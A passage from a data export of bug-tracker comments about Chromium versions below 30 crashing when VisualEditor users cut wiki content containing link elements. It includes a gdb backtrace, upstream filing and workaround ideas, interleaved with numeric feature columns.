> @Tim: Which chromium version is the stacktrace from?

It's the Ubuntu package version 28.0.1500.71-0ubuntu1.12.04.1",,,1375395098,,PHID-USER-k6tmz5ylx4rzfl3bitse,False,,,PHID-TASK-6doqtsezbhohs5na7asr,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,20.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,5.0,0.0,10.0,0.0,5.0,10.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.25,1.0,"(In reply to comment #13)
QUOTE

It's the Ubuntu package version 28.0.1500.71-0ubuntu1.12.04.1"
241223,VisualEditor: Chromium (< 30) crashes when attempting to cut content containing <link> or <style>,"I can still reproduce this on https://en.wikipedia.org/wiki/Pancytopenia?veaction=edit#External_links with Chrome 28 (stable channel).

However when testing on Chrome 30 (dev channel), I can no longer reproduce this.

Confirmed that removing the [
<link rel=​""mw:​WikiLink/​Category"" href=​""./​Category:​Commons_category_without_a_link_on_Wikidata"" data-parsoid=​""{""stx"":​""simple"",""a"":​{""href"":​""./​Category:​Commons_category_without_a_link_on_Wikidata""}​,""sa"":​{""href"":​""Category:​Commons category without a link on Wikidata""}​}​"" about=​""#mwt7"">​
] tag from the {{commonscat}} template before cutting, prevents the crash.


@Tim: Which chromium version is the stacktrace from?

Filed upstream: https://code.google.com/p/chromium/issues/detail?id=267059",,,1375386614,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-6doqtsezbhohs5na7asr,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,2.0,0.0,0.0,2.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,16.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,5.0,1.0,13.0,2.0,0.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,2.0,10.0,7.0,1.0,3.0,0.0,2.0,0.0,2.0,1.0,0.0,3.0,0.0,0.0,2.0,6.304347826086956,0.6956521739130435,"I can still reproduce this on URL with Chrome 28 (stable channel).

However when testing on Chrome 30 (dev channel), I can no longer reproduce this.

Confirmed that removing the [
<link rel=​""mw:​WikiLink/​Category"" href=​""./​Category:​Commons_category_without_a_link_on_Wikidata"" data-parsoid=​""{""stx"":​""simple"",""a"":​{""href"":​""./​Category:​Commons_category_without_a_link_on_Wikidata""}​,""sa"":​{""href"":​""Category:​Commons category without a link on Wikidata""}​}​"" about=​""#mwt7"">​
] tag from the {{commonscat}} template before cutting, prevents the crash.

SCREEN_NAME: Which chromium version is the stacktrace from?

Filed upstream: URL"
241217,VisualEditor: Chromium (< 30) crashes when attempting to cut content containing <link> or <style>,"I'll try to isolate this to produce a minimal test case, see how we can work around it in VE, and report it to the Chrome people. It's not acceptable for a browser to segfault even on invalid HTML.",,,1375373236,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-6doqtsezbhohs5na7asr,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,4.0,0.0,7.0,18.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,2.0,2.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,7.0,0.0,11.0,2.0,2.0,9.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,11.0,18.0,7.0,0.0,0.0,0.0,11.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,3.533333333333333,0.8444444444444444,"I'll try to isolate this to produce a minimal test case, see how we can work around it in VE, and report it to the Chrome people. It's not acceptable for a browser to segfault even on invalid HTML."
241212,VisualEditor: Chromium (< 30) crashes when attempting to cut content containing <link> or <style>,The node variable in frame 3 of my backtrace is indeed a <link> element.,,,1375349187,,PHID-USER-k6tmz5ylx4rzfl3bitse,False,,,PHID-TASK-6doqtsezbhohs5na7asr,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,6.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,12.0,3.4705882352941178,1.0,The node variable in frame 3 of my backtrace is indeed a <link> element.
241207,VisualEditor: Chromium (< 30) crashes when attempting to cut content containing <link> or <style>,"It seems that this bug has to do with link html tag.

In both examples (Pancytopenia and Lumpectomy) if I delete <link> node (using debug tools) from inside (in second example it is not a direct child) of the node to cut then when I'm cutting it browser tab does not crash anymore.

Based on the w3c documentation it seems to me that we are using link tag incorrectly - value of attribute ""rel"" should be one of the values listed here http://www.w3schools.com/tags/tag_link.asp but in our case it is ""mw:WikiLink/Category"".

In case of templates in VE we are simply rendering HTMLDOM that we are getting from Parsoid, so fixing it in Parsoid (not using link tag incorrectly) should solve this problem. (I'm making some assumptions here - it should be verified first in some sort of isolation - jsfiddle.)

For now as a quick fix we can strip all link nodes when we are rendering template in the VE.",,,1375342206,,PHID-USER-s7sn3zjthnxvep34c5ho,False,,,PHID-TASK-6doqtsezbhohs5na7asr,task_subcomment,,True,c1,3,False,,,4,,1.5,0.0,0.0,0.5,1.5,1.5,0.5,0.0,0.0,0.5,4.5,1.0,0.0,0.0,0.0,5.0,0.0,7.5,14.5,0.0,1.0,1.5,0.0,0.0,0.0,0.5,0.0,0.5,0.5,0.0,0.0,7.0,0.0,3.5,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.5,1.5,0.0,0.0,0.0,0.0,0.5,13.5,0.0,2.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.5,1.0,0.0,0.0,0.5,0.0,0.0,3.0,4.0,9.0,3.0,1.0,6.0,0.0,0.0,0.0,0.0,3.5,0.0,0.5,0.0,8.5,14.5,7.0,0.0,2.0,0.0,8.5,0.0,1.0,1.0,0.5,4.5,0.0,0.0,1.0,3.671875,0.7291666666666667,"It seems that this bug has to do with link html tag.

In both examples (Pancytopenia and Lumpectomy) if I delete <link> node (using debug tools) from inside (in second example it is not a direct child) of the node to cut then when I'm cutting it browser tab does not crash anymore.

Based on the w3c documentation it seems to me that we are using link tag incorrectly - value of attribute ""rel"" should be one of the values listed here URL but in our case it is ""mw:WikiLink/Category"".

In case of templates in VE we are simply rendering HTMLDOM that we are getting from Parsoid, so fixing it in Parsoid (not using link tag incorrectly) should solve this problem. (I'm making some assumptions here - it should be verified first in some sort of isolation - jsfiddle.)

For now as a quick fix we can strip all link nodes when we are rendering template in the VE."
241202,VisualEditor: Chromium (< 30) crashes when attempting to cut content containing <link> or <style>,"I think this is probably the most important bug in VE at the moment, and it's sad to see no progress being made on it, so I got a backtrace from stock Chromium in Ubuntu 12.04:

Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x7fffcd87e700 (LWP 2767)]
WebCore::AppendNodeCommand::AppendNodeCommand (this=0x14b6f1e5eea0, parent=..., node=...)
    at third_party/WebKit/Source/core/editing/AppendNodeCommand.cpp:39
39	third_party/WebKit/Source/core/editing/AppendNodeCommand.cpp: No such file or directory.
(gdb) bt
#0  WebCore::AppendNodeCommand::AppendNodeCommand (this=0x14b6f1e5eea0, parent=..., node=...)
    at third_party/WebKit/Source/core/editing/AppendNodeCommand.cpp:39
#1  0x000055555752af66 in create (node=..., parent=...)
    at third_party/WebKit/Source/core/editing/AppendNodeCommand.h:37
#2  WebCore::CompositeEditCommand::appendNode (this=0x14b6f44c0800, node=..., parent=...)
    at third_party/WebKit/Source/core/editing/CompositeEditCommand.cpp:372
#3  0x0000555557535512 in WebCore::DeleteSelectionCommand::makeStylingElementsDirectChildrenOfEditableRootToPreventStyleLoss (this=0x14b6f44c0800) at third_party/WebKit/Source/core/editing/DeleteSelectionCommand.cpp:431
#4  0x0000555557538582 in WebCore::DeleteSelectionCommand::handleGeneralDelete (this=0x14b6f44c0800)
    at third_party/WebKit/Source/core/editing/DeleteSelectionCommand.cpp:445
#5  0x000055555753a2e5 in WebCore::DeleteSelectionCommand::doApply (this=0x14b6f44c0800)
    at third_party/WebKit/Source/core/editing/DeleteSelectionCommand.cpp:836
#6  0x00005555575273d2 in WebCore::CompositeEditCommand::apply (this=0x14b6f44c0800)
    at third_party/WebKit/Source/core/editing/CompositeEditCommand.cpp:202
#7  0x000055555725c6f4 in deleteSelectionWithSmartDelete (smartDelete=false, this=<optimized out>)
    at third_party/WebKit/Source/core/editing/Editor.cpp:340
#8  WebCore::Editor::deleteSelectionWithSmartDelete (this=<optimized out>, smartDelete=false)
    at third_party/WebKit/Source/core/editing/Editor.cpp:335
#9  0x000055555726498a in WebCore::Editor::cut (this=0x14b6f2019180)
    at third_party/WebKit/Source/core/editing/Editor.cpp:982
#10 0x000055555726c08f in executeCut (frame=0x14b6f2d5cc00, source=<optimized out>)
    at third_party/WebKit/Source/core/editing/EditorCommand.cpp:301
#11 WebCore::executeCut (frame=0x14b6f2d5cc00, source=<optimized out>)
    at third_party/WebKit/Source/core/editing/EditorCommand.cpp:297
#12 0x00005555569cd7ee in WebKit::WebFrameImpl::executeCommand (this=0x14b6f2d7ca80, name=..., value=...)
    at third_party/WebKit/Source/WebKit/chromium/src/WebFrameImpl.cpp:1243
#13 0x00005555583d50e1 in content::RenderViewImpl::handleCurrentKeyboardEvent (this=<optimized out>)
    at content/renderer/render_view_impl.cc:2201
#14 0x0000555556a155ba in WebKit::EditorClientImpl::handleKeyboardEvent (this=0x14b6f2bd45a0, evt=0x14b6f379f700)
    at third_party/WebKit/Source/WebKit/chromium/src/EditorClientImpl.cpp:643
#15 0x00005555573f9d13 in WebCore::EventHandler::defaultKeyboardEventHandler (this=0x14b6f1464c80, 
    event=0x14b6f379f700) at third_party/WebKit/Source/core/page/EventHandler.cpp:3121
#16 0x0000555556acdad8 in WebCore::Node::defaultEventHandler (this=0x14b6f40364e0, event=0x14b6f379f700)
    at third_party/WebKit/Source/core/dom/Node.cpp:2546
---Type <return> to continue, or q <return> to quit---
#17 0x0000555556b13822 in dispatchEventPostProcess (preDispatchEventHandlerResult=0x0, this=0x7fffcd87bdb0)
    at third_party/WebKit/Source/core/dom/EventDispatcher.cpp:208
#18 WebCore::EventDispatcher::dispatch (this=0x7fffcd87bdb0)
    at third_party/WebKit/Source/core/dom/EventDispatcher.cpp:127
#19 0x0000555556b1337e in WebCore::EventDispatcher::dispatchEvent (node=<optimized out>, mediator=...)
    at third_party/WebKit/Source/core/dom/EventDispatcher.cpp:56
#20 0x0000555556ace21b in WebCore::Node::dispatchEvent (this=0x14b6f40364e0, event=...)
    at third_party/WebKit/Source/core/dom/Node.cpp:2426
#21 0x0000555556abd15d in WebCore::EventTarget::dispatchEvent (this=0x14b6f40364e0, event=..., ec=<optimized out>)
    at third_party/WebKit/Source/core/dom/EventTarget.cpp:148
#22 0x00005555573fc181 in WebCore::EventHandler::keyEvent (this=0x14b6f1464c80, initialKeyEvent=...)
    at third_party/WebKit/Source/core/page/EventHandler.cpp:3006
#23 0x00005555569f3ccb in WebKit::WebViewImpl::handleKeyEvent (this=0x14b6f2bd4500, event=...)
    at third_party/WebKit/Source/WebKit/chromium/src/WebViewImpl.cpp:987
#24 0x00005555569f743b in WebKit::WebViewImpl::handleInputEvent (this=0x14b6f2bd4500, inputEvent=...)
    at third_party/WebKit/Source/WebKit/chromium/src/WebViewImpl.cpp:2024
#25 0x00005555583f92b3 in content::RenderWidget::OnHandleInputEvent (this=0x14b6f2b41000, 
    input_event=0x14b6f38f7898, is_keyboard_shortcut=true) at content/renderer/render_widget.cc:756
#26 0x00005555583f7c5e in DispatchToMethod<content::RenderWidget, void (content::RenderWidget::*)(WebKit::WebInputEvent const*, bool), WebKit::WebInputEvent const*, bool> (method=<optimized out>, obj=0x14b6f2b41000, arg=...)
    at ./base/tuple.h:553
#27 Dispatch<content::RenderWidget, content::RenderWidget, void (content::RenderWidget::*)(WebKit::WebInputEvent const*, bool)> (func=
    (void (content::RenderWidget::*)(content::RenderWidget * const, const WebKit::WebInputEvent *, bool)) 0x5555583f90e0 <content::RenderWidget::OnHandleInputEvent(WebKit::WebInputEvent const*, bool)>, obj=0x14b6f2b41000, msg=
    0x14b6f38d9f88, sender=<optimized out>) at ./content/common/input_messages.h:39
#28 content::RenderWidget::OnMessageReceived (this=0x14b6f2b41000, message=...)
    at content/renderer/render_widget.cc:311
#29 0x00005555583ed784 in content::RenderViewImpl::OnMessageReceived (this=0x14b6f2b41000, message=...)
    at content/renderer/render_view_impl.cc:1124
#30 0x00005555566c8fa8 in content::MessageRouter::RouteMessage (this=<optimized out>, msg=...)
    at content/common/message_router.cc:49
#31 0x0000555556651a8b in OnMessageReceived (msg=..., this=0x14b6f14bcb88) at content/common/child_thread.cc:271
#32 content::ChildThread::OnMessageReceived (this=0x14b6f14bcb88, msg=...) at content/common/child_thread.cc:236
---Type <return> to continue, or q <return> to quit---
#33 0x00005555566280ba in IPC::ChannelProxy::Context::OnDispatchMessage (this=0x14b6f14bde00, message=...)
    at ipc/ipc_channel_proxy.cc:261
#34 0x0000555556296fae in Run (this=0x7fffcd87d958) at ./base/callback.h:396
#35 base::MessageLoop::RunTask (this=0x7fffcd87da50, pending_task=...) at base/message_loop.cc:484
#36 0x000055555629a70b in base::MessageLoop::DeferOrRunPendingTask (this=0x7fffcd87da50, pending_task=...)
    at base/message_loop.cc:496
#37 0x000055555629ad13 in DoWork (this=<optimized out>) at base/message_loop.cc:688
#38 base::MessageLoop::DoWork (this=0x7fffcd87da50) at base/message_loop.cc:667
#39 0x000055555629b459 in base::MessagePumpDefault::Run (this=0x14b6f149b7e0, delegate=0x7fffcd87da50)
    at base/message_pump_default.cc:29
#40 0x00005555562aa202 in base::RunLoop::Run (this=0x7fffcd87da10) at base/run_loop.cc:45
#41 0x0000555556296444 in base::MessageLoop::Run (this=<optimized out>) at base/message_loop.cc:321
#42 0x00005555562bb330 in base::Thread::ThreadMain (this=0x14b6f14a45a0) at base/threading/thread.cc:197
#43 0x00005555562b8001 in base::(anonymous namespace)::ThreadFunc (params=0x14b6f0a23650)
    at base/threading/platform_thread_posix.cc:95
#44 0x00007ffff3df9e9a in start_thread (arg=0x7fffcd87e700) at pthread_create.c:308
#45 0x00007ffff1ef0ccd in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:112
#46 0x0000000000000000 in ?? ()
(gdb) info locals
No locals.
(gdb) up
#1  0x000055555752af66 in create (node=..., parent=...)
    at third_party/WebKit/Source/core/editing/AppendNodeCommand.h:37
37	third_party/WebKit/Source/core/editing/AppendNodeCommand.h: No such file or directory.
(gdb) info locals
No locals.
(gdb) up
#2  WebCore::CompositeEditCommand::appendNode (this=0x14b6f44c0800, node=..., parent=...)
    at third_party/WebKit/Source/core/editing/CompositeEditCommand.cpp:372
372	third_party/WebKit/Source/core/editing/CompositeEditCommand.cpp: No such file or directory.
(gdb) info locals
No locals.
(gdb) up
#3  0x0000555557535512 in WebCore::DeleteSelectionCommand::makeStylingElementsDirectChildrenOfEditableRootToPreventStyleLoss (this=0x14b6f44c0800) at third_party/WebKit/Source/core/editing/DeleteSelectionCommand.cpp:431
431	third_party/WebKit/Source/core/editing/DeleteSelectionCommand.cpp: No such file or directory.
(gdb) info locals
rootEditableElement = {m_ptr = 0x0}
nextNode = {m_ptr = 0x14b6f3107ee0}
range = {m_ptr = 0x14b6f3e7f980}
node = {m_ptr = 0x14b6f2d83180}",,,1375340841,,PHID-USER-k6tmz5ylx4rzfl3bitse,False,,,PHID-TASK-6doqtsezbhohs5na7asr,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,0.06666666666666667,0.0,1.4,0.06666666666666667,0.0,0.0,0.0,2.7333333333333334,0.0,0.0,0.0,0.0,0.13333333333333333,0.0,0.26666666666666666,7.933333333333334,0.0,0.3333333333333333,0.0,0.0,0.7333333333333333,0.26666666666666666,0.0,0.0,0.0,0.0,0.0,0.06666666666666667,0.26666666666666666,0.13333333333333333,0.13333333333333333,0.0,0.0,0.0,0.0,0.4,0.0,0.5333333333333333,0.0,0.0,0.2,0.0,0.0,0.0,0.0,0.0,17.066666666666666,0.06666666666666667,0.0,0.0,0.06666666666666667,0.0,0.0,0.0,0.0,0.06666666666666667,0.0,0.0,0.0,0.0,0.06666666666666667,0.0,0.0,0.0,0.2,0.13333333333333333,10.066666666666666,0.0,0.5333333333333333,0.8,0.0,0.0,0.0,3.3333333333333335,0.7333333333333333,0.0,8.133333333333333,0.0,0.26666666666666666,7.933333333333334,11.733333333333333,0.13333333333333333,0.0,0.0,0.26666666666666666,0.0,0.0,0.06666666666666667,0.0,0.06666666666666667,0.0,0.06666666666666667,2.1333333333333333,5.8875924654922605,0.46303668115610463,"I think this is probably the most important bug in VE at the moment, and it's sad to see no progress being made on it, so I got a backtrace from stock Chromium in Ubuntu 12.04:

Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x7fffcd87e700 (LWP 2767)]
WebCore::AppendNodeCommand::AppendNodeCommand (this=0x14b6f1e5eea0, parent=..., node=...)
    at third_party/WebKit/Source/core/editing/AppendNodeCommand.cpp:39
39	third_party/WebKit/Source/core/editing/AppendNodeCommand.cpp: No such file or directory.
(gdb) bt
#0  WebCore::AppendNodeCommand::AppendNodeCommand (this=0x14b6f1e5eea0, parent=..., node=...)
    at third_party/WebKit/Source/core/editing/AppendNodeCommand.cpp:39
#1  0x000055555752af66 in create (node=..., parent=...)
    at third_party/WebKit/Source/core/editing/AppendNodeCommand.h:37
#2  WebCore::CompositeEditCommand::appendNode (this=0x14b6f44c0800, node=..., parent=...)
    at third_party/WebKit/Source/core/editing/CompositeEditCommand.cpp:372
#3  0x0000555557535512 in WebCore::DeleteSelectionCommand::makeStylingElementsDirectChildrenOfEditableRootToPreventStyleLoss (this=0x14b6f44c0800) at third_party/WebKit/Source/core/editing/DeleteSelectionCommand.cpp:431
#4  0x0000555557538582 in WebCore::DeleteSelectionCommand::handleGeneralDelete (this=0x14b6f44c0800)
    at third_party/WebKit/Source/core/editing/DeleteSelectionCommand.cpp:445
#5  0x000055555753a2e5 in WebCore::DeleteSelectionCommand::doApply (this=0x14b6f44c0800)
    at third_party/WebKit/Source/core/editing/DeleteSelectionCommand.cpp:836
#6  0x00005555575273d2 in WebCore::CompositeEditCommand::apply (this=0x14b6f44c0800)
    at third_party/WebKit/Source/core/editing/CompositeEditCommand.cpp:202
#7  0x000055555725c6f4 in deleteSelectionWithSmartDelete (smartDelete=false, this=<optimized out>)
    at third_party/WebKit/Source/core/editing/Editor.cpp:340
#8  WebCore::Editor::deleteSelectionWithSmartDelete (this=<optimized out>, smartDelete=false)
    at third_party/WebKit/Source/core/editing/Editor.cpp:335
#9  0x000055555726498a in WebCore::Editor::cut (this=0x14b6f2019180)
    at third_party/WebKit/Source/core/editing/Editor.cpp:982
#10 0x000055555726c08f in executeCut (frame=0x14b6f2d5cc00, source=<optimized out>)
    at third_party/WebKit/Source/core/editing/EditorCommand.cpp:301
#11 WebCore::executeCut (frame=0x14b6f2d5cc00, source=<optimized out>)
    at third_party/WebKit/Source/core/editing/EditorCommand.cpp:297
#12 0x00005555569cd7ee in WebKit::WebFrameImpl::executeCommand (this=0x14b6f2d7ca80, name=..., value=...)
    at third_party/WebKit/Source/WebKit/chromium/src/WebFrameImpl.cpp:1243
#13 0x00005555583d50e1 in content::RenderViewImpl::handleCurrentKeyboardEvent (this=<optimized out>)
    at content/renderer/render_view_impl.cc:2201
#14 0x0000555556a155ba in WebKit::EditorClientImpl::handleKeyboardEvent (this=0x14b6f2bd45a0, evt=0x14b6f379f700)
    at third_party/WebKit/Source/WebKit/chromium/src/EditorClientImpl.cpp:643
#15 0x00005555573f9d13 in WebCore::EventHandler::defaultKeyboardEventHandler (this=0x14b6f1464c80, 
    event=0x14b6f379f700) at third_party/WebKit/Source/core/page/EventHandler.cpp:3121
#16 0x0000555556acdad8 in WebCore::Node::defaultEventHandler (this=0x14b6f40364e0, event=0x14b6f379f700)
    at third_party/WebKit/Source/core/dom/Node.cpp:2546
---Type <return> to continue, or q <return> to quit---
#17 0x0000555556b13822 in dispatchEventPostProcess (preDispatchEventHandlerResult=0x0, this=0x7fffcd87bdb0)
    at third_party/WebKit/Source/core/dom/EventDispatcher.cpp:208
#18 WebCore::EventDispatcher::dispatch (this=0x7fffcd87bdb0)
    at third_party/WebKit/Source/core/dom/EventDispatcher.cpp:127
#19 0x0000555556b1337e in WebCore::EventDispatcher::dispatchEvent (node=<optimized out>, mediator=...)
    at third_party/WebKit/Source/core/dom/EventDispatcher.cpp:56
#20 0x0000555556ace21b in WebCore::Node::dispatchEvent (this=0x14b6f40364e0, event=...)
    at third_party/WebKit/Source/core/dom/Node.cpp:2426
#21 0x0000555556abd15d in WebCore::EventTarget::dispatchEvent (this=0x14b6f40364e0, event=..., ec=<optimized out>)
    at third_party/WebKit/Source/core/dom/EventTarget.cpp:148
#22 0x00005555573fc181 in WebCore::EventHandler::keyEvent (this=0x14b6f1464c80, initialKeyEvent=...)
    at third_party/WebKit/Source/core/page/EventHandler.cpp:3006
#23 0x00005555569f3ccb in WebKit::WebViewImpl::handleKeyEvent (this=0x14b6f2bd4500, event=...)
    at third_party/WebKit/Source/WebKit/chromium/src/WebViewImpl.cpp:987
#24 0x00005555569f743b in WebKit::WebViewImpl::handleInputEvent (this=0x14b6f2bd4500, inputEvent=...)
    at third_party/WebKit/Source/WebKit/chromium/src/WebViewImpl.cpp:2024
#25 0x00005555583f92b3 in content::RenderWidget::OnHandleInputEvent (this=0x14b6f2b41000, 
    input_event=0x14b6f38f7898, is_keyboard_shortcut=true) at content/renderer/render_widget.cc:756
#26 0x00005555583f7c5e in DispatchToMethod<content::RenderWidget, void (content::RenderWidget::*)(WebKit::WebInputEvent const*, bool), WebKit::WebInputEvent const*, bool> (method=<optimized out>, obj=0x14b6f2b41000, arg=...)
    at ./base/tuple.h:553
#27 Dispatch<content::RenderWidget, content::RenderWidget, void (content::RenderWidget::*)(WebKit::WebInputEvent const*, bool)> (func=
    (void (content::RenderWidget::*)(content::RenderWidget * const, const WebKit::WebInputEvent *, bool)) 0x5555583f90e0 <content::RenderWidget::OnHandleInputEvent(WebKit::WebInputEvent const*, bool)>, obj=0x14b6f2b41000, msg=
    0x14b6f38d9f88, sender=<optimized out>) at ./content/common/input_messages.h:39
#28 content::RenderWidget::OnMessageReceived (this=0x14b6f2b41000, message=...)
    at content/renderer/render_widget.cc:311
#29 0x00005555583ed784 in content::RenderViewImpl::OnMessageReceived (this=0x14b6f2b41000, message=...)
    at content/renderer/render_view_impl.cc:1124
#30 0x00005555566c8fa8 in content::MessageRouter::RouteMessage (this=<optimized out>, msg=...)
    at content/common/message_router.cc:49
#31 0x0000555556651a8b in OnMessageReceived (msg=..., this=0x14b6f14bcb88) at content/common/child_thread.cc:271
#32 content::ChildThread::OnMessageReceived (this=0x14b6f14bcb88, msg=...) at content/common/child_thread.cc:236
---Type <return> to continue, or q <return> to quit---
#33 0x00005555566280ba in IPC::ChannelProxy::Context::OnDispatchMessage (this=0x14b6f14bde00, message=...)
    at ipc/ipc_channel_proxy.cc:261
#34 0x0000555556296fae in Run (this=0x7fffcd87d958) at ./base/callback.h:396
#35 base::MessageLoop::RunTask (this=0x7fffcd87da50, pending_task=...) at base/message_loop.cc:484
#36 0x000055555629a70b in base::MessageLoop::DeferOrRunPendingTask (this=0x7fffcd87da50, pending_task=...)
    at base/message_loop.cc:496
#37 0x000055555629ad13 in DoWork (this=<optimized out>) at base/message_loop.cc:688
#38 base::MessageLoop::DoWork (this=0x7fffcd87da50) at base/message_loop.cc:667
#39 0x000055555629b459 in base::MessagePumpDefault::Run (this=0x14b6f149b7e0, delegate=0x7fffcd87da50)
    at base/message_pump_default.cc:29
#40 0x00005555562aa202 in base::RunLoop::Run (this=0x7fffcd87da10) at base/run_loop.cc:45
#41 0x0000555556296444 in base::MessageLoop::Run (this=<optimized out>) at base/message_loop.cc:321
#42 0x00005555562bb330 in base::Thread::ThreadMain (this=0x14b6f14a45a0) at base/threading/thread.cc:197
#43 0x00005555562b8001 in base::(anonymous namespace)::ThreadFunc (params=0x14b6f0a23650)
    at base/threading/platform_thread_posix.cc:95
#44 0x00007ffff3df9e9a in start_thread (arg=0x7fffcd87e700) at pthread_create.c:308
#45 0x00007ffff1ef0ccd in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:112
#46 0x0000000000000000 in ?? ()
(gdb) info locals
No locals.
(gdb) up
#1  0x000055555752af66 in create (node=..., parent=...)
    at third_party/WebKit/Source/core/editing/AppendNodeCommand.h:37
37	third_party/WebKit/Source/core/editing/AppendNodeCommand.h: No such file or directory.
(gdb) info locals
No locals.
(gdb) up
#2  WebCore::CompositeEditCommand::appendNode (this=0x14b6f44c0800, node=..., parent=...)
    at third_party/WebKit/Source/core/editing/CompositeEditCommand.cpp:372
372	third_party/WebKit/Source/core/editing/CompositeEditCommand.cpp: No such file or directory.
(gdb) info locals
No locals.
(gdb) up
#3  0x0000555557535512 in WebCore::DeleteSelectionCommand::makeStylingElementsDirectChildrenOfEditableRootToPreventStyleLoss (this=0x14b6f44c0800) at third_party/WebKit/Source/core/editing/DeleteSelectionCommand.cpp:431
431	third_party/WebKit/Source/core/editing/DeleteSelectionCommand.cpp: No such file or directory.
(gdb) info locals
rootEditableElement = {m_ptr = 0x0}
nextNode = {m_ptr = 0x14b6f3107ee0}
range = {m_ptr = 0x14b6f3e7f980}
node = {m_ptr = 0x14b6f2d83180}"
241192,VisualEditor: Chromium (< 30) crashes when attempting to cut content containing <link> or <style>,"I experienced this on [[Narayana_Gosain_Temple]] which cutting '==References==\n{{reflist}}\n"", which may have also cut ""{{coord missing|Odisha}}"" which follows it.",,,1374545513,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-6doqtsezbhohs5na7asr,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,6.0,3.0,6.0,0.0,12.0,0.0,6.0,0.0,9.0,0.0,0.0,3.0,0.0,0.0,9.0,4.323529411764706,0.7352941176470589,"I experienced this on [[Narayana_Gosain_Temple]] which cutting '==References==\n{{reflist}}\n"", which may have also cut ""{{coord missing|Odisha}}"" which follows it."
241185,VisualEditor: Chromium (< 30) crashes when attempting to cut content containing <link> or <style>,"**ajc11123** wrote:

